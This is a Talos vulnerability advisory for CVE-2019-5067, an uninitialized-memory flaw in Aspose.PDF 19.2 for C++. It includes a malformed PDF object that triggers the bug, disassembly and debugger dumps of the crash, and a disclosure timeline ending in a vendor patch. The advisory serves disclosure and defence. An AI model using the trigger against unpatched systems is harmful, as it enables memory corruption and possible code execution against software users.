Talos Vulnerability Report

TALOS-2019-0856

Aspose.PDF for C++ parent generation remote code execution vulnerability

September 17, 2019
CVE Number

CVE-2019-5067

Summary

An uninitialized memory access vulnerability exists in the way Aspose.PDF 19.2 for C++ handles invalid parent object pointers. A specially crafted PDF can cause a read and write from uninitialized memory, resulting in memory corruption and possibly arbitrary code execution. To trigger this vulnerability, a specifically crafted PDF document needs to be processed by the target application.

Tested Versions

Aspose.PDF 19.2 for C++

Product URLs

https://products.aspose.com/pdf

CVSSv3 Score

9.8 - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

CWE

CWE-416: Use After Free

Details

Aspose provides a series of APIs for manipulating or converting a large family of document formats. Aspose.PDF is a library used for editing, writing, and rendering PDFs. The software provides a number of different language bindings to allow modification or creation of PDFs from a number of different developer environments.

Specific PDF objects, like a Page object, can have pointers to their parent objects via Parent reference. A bug exists in the way malformed Parent pointers are handled by Aspose.PDF. An example of malformed object that triggers this vulnerability is:

3 0 obj
<</Parent 1 -1 R
>>
endobj

1 0 obj
<<
/Count 1
/Kids[3 0 R]
>> 
endobj

In the above, object 3 0 has a pointer to Parent object that has negative generation number. Aspose.PDF properly detects this condition as invalid and throws an ArgumentException via the following code while trying to render a page:

.text:00000001808EF100 loc_1808EF100:                          ; ...
.text:00000001808EF100                 xor     r8d, r8d
.text:00000001808EF103                 lea     rdx, aObjectid_0 ; "objectId"
.text:00000001808EF10A                 lea     rcx, [rbp+400h+var_320]
.text:00000001808EF111
.text:00000001808EF111 loc_1808EF111:                          ; ...
.text:00000001808EF111 ;   try {
.text:00000001808EF111                 call    sub_18007E220
.text:00000001808EF116                 nop
.text:00000001808EF117                 xor     r8d, r8d
.text:00000001808EF11A                 lea     rdx, aGenerationShou ; "Generation should be positive."
.text:00000001808EF121                 lea     rcx, [rbp+400h+var_2D0]
.text:00000001808EF121 ;   } // starts at 1808EF111
.text:00000001808EF128
.text:00000001808EF128 loc_1808EF128:                          ; ...
.text:00000001808EF128 ;   try {
.text:00000001808EF128                 call    sub_18007E3E0
.text:00000001808EF12D                 nop
.text:00000001808EF12E                 lea     r8, [rbp+400h+var_320]
.text:00000001808EF135                 lea     rdx, [rbp+400h+var_2D0]
.text:00000001808EF13C                 lea     rcx, [rbp+400h+var_160]
.text:00000001808EF13C ;   } // starts at 1808EF128
.text:00000001808EF143
.text:00000001808EF143 loc_1808EF143:                          ; ...
.text:00000001808EF143 ;   try {
.text:00000001808EF143                 call    sub_1800CB7E0
.text:00000001808EF148                 lea     rdx, __TI5?AUArgumentException@System@@ ; throw info for 'struct System::ArgumentException'
.text:00000001808EF148                                         ; throw info for 'struct System::ArgumentException'
.text:00000001808EF14F                 lea     rcx, [rbp+400h+var_160]
.text:00000001808EF156                 call    _CxxThrowException

However, while executing the exception chain the not-yet-fully initialized object that caused the exception to be thrown is accessed leading to uninitialized memory read and write. With PageHeap enabled, and with carefully placed breakpoints before and after the exception is thrown, we can observe the following:

Aspose_PDF_vc141x64!Aspose::Pdf::InvalidPasswordException::InvalidPasswordException+0x3b5d:
00007ffd`8a44ee0d 44897f64        mov     dword ptr [rdi+64h],r15d ds:00000207`28822e54=ffffffff
0:000> dd rdi
00000207`28822df0  8ce52cb0 00007ffd 8c157bd8 00007ffd
00000207`28822e00  c0c0c001 c0c0c0c0 00000000 00000000
00000207`28822e10  c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0
00000207`28822e20  c0c0c001 c0c0c0c0 2addafe8 00000207
00000207`28822e30  c0c0c0c0 c0c0c0c0 3d43dff0 00000207
00000207`28822e40  c0c00000 c0c0c0c0 8c157bf0 00007ffd
00000207`28822e50  ffffffff ffffffff c0c0c000 c0c0c0c0
00000207`28822e60  00000000 00000000 c0c0c0c0 c0c0c0c0

In the above, at the time when the object's ID is being set in memory (from r15d) we can see still uninitialized bytes in its memory. Continuing to the second breakpoint, after the exception is thrown, we can see the following:

Aspose_PDF_vc141x64!Aspose::Pdf::XmpPdfAExtensionSchemaDescription::operator=+0x6bfc:
00007ffd`8a46592c 488d8ba0000000  lea     rcx,[rbx+0A0h]
0:000> dd rbx
00000207`28822df0  8ce52cb0 00007ffd 8c157bd8 00007ffd
00000207`28822e00  c0c0c001 c0c0c0c0 00000000 00000000
00000207`28822e10  c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0
00000207`28822e20  c0c0c001 c0c0c0c0 2addafe8 00000207
00000207`28822e30  c0c0c0c0 c0c0c0c0 3d43dff0 00000207
00000207`28822e40  c0c00000 c0c0c0c0 8c157bf0 00007ffd
00000207`28822e50  ffffffff 00000001 c0c0c000 c0c0c0c0
00000207`28822e60  00000000 00000000 c0c0c0c0 c0c0c0c0
0:000> u
Aspose_PDF_vc141x64!Aspose::Pdf::XmpPdfAExtensionSchemaDescription::operator=+0x6bfc:
00007ffd`8a46592c 488d8ba0000000  lea     rcx,[rbx+0A0h]
00007ffd`8a465933 488b5c2438      mov     rbx,qword ptr [rsp+38h]
00007ffd`8a465938 4883c420        add     rsp,20h
00007ffd`8a46593c 5f              pop     rdi
00007ffd`8a46593d 48ff25242dc201  jmp     qword ptr [Aspose_PDF_vc141x64!EnumMetaInfo<enum Aspose::Pdf::VerticalAlignment>::values+0x6ee5e8 (00007ffd`8c088668)]

We can see the same pointer to our object being moved into rcx, still containing uninitialized memory. It is then being used as this pointer in a call to object destructor which is supposed to free it. Continuing the execution results in the following crash when an uninitialized memory is used as a pointer:

(16b4c.16150): Access violation - code c0000005 (first/second chance not available)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
Time Travel Position: 3250D:0
aspose_cpp_vc141x64!System::Object::~Object+0x22:
00007ffd`84c23c12 8b4108          mov     eax,dword ptr [rcx+8] ds:c0c0c0c0`c0c0c0c8=????????
0:000> ub
aspose_cpp_vc141x64!System::Object::~Object+0x6:
00007ffd`84c23bf6 4883ec20        sub     rsp,20h
00007ffd`84c23bfa 488d05273cb200  lea     rax,[aspose_cpp_vc141x64!System::Math::E+0x870 (00007ffd`85747828)]
00007ffd`84c23c01 488bd9          mov     rbx,rcx
00007ffd`84c23c04 488901          mov     qword ptr [rcx],rax
00007ffd`84c23c07 488b4908        mov     rcx,qword ptr [rcx+8]
00007ffd`84c23c0b 33ff            xor     edi,edi
00007ffd`84c23c0d 4885c9          test    rcx,rcx
00007ffd`84c23c10 7414            je      aspose_cpp_vc141x64!System::Object::~Object+0x36 (00007ffd`84c23c26)

By carefully controlling the memory contents before this uninitialized object is allocated an attacker could cause arbitrary memory read/write access which can lead to further memory corruption and can ultimately result in arbitrary code execution.

Timeline

2019-07-29 - Vendor disclosure
2019-08-24 - Vendor acknowledged & advised issues under review
2019-09-16 - Vendor patched
2019-09-17 - Public disclosure

Credit

Discovered by Aleksandar Nikolic Cisco Talos.